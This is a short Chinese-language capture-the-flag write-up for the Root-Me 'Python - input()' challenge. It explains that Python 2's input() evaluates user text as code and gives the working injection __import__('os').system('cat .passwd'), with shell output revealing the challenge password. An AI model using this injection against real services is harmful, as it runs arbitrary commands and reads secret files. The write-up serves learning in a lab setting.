CTF-rootme 題解之Python - input()

LINK:https://www.root-me.org/en/Challenges/App-Script/Python-input

Reference:https://blog.51cto.com/12332766/2299894?cid=729687

SourceCode:

    #!/usr/bin/python2
     
    import sys
     
    def youLose():
        print "Try again ;-)"
        sys.exit(1)
     
     
    try:
        p = input("Please enter password : ")
    except:
        youLose()
     
     
    with open(".passwd") as f:
        passwd = f.readline().strip()
        try:
            if (p == int(passwd)):               
                print "Well done ! You can validate with this password !"
        except:
            youLose()

input()函數產生漏洞的原因:

python2中,此函數會將stdin輸入的內容當做python代碼去執行（就像執行計算式3+2一樣，將其看做python代碼，通過計算返回結果）

import():是python中的內置函數，同語法import 相同，都是調用模塊
system()就是os模塊中的方法，此方法用來調用系統命令

exploit: __import__('os').system('cat .passwd')

app-script-ch6@challenge02:~$ ./setuid-wrapper
Please enter password : __import__('os').system('cat .passwd')
13373439872909134298363103573901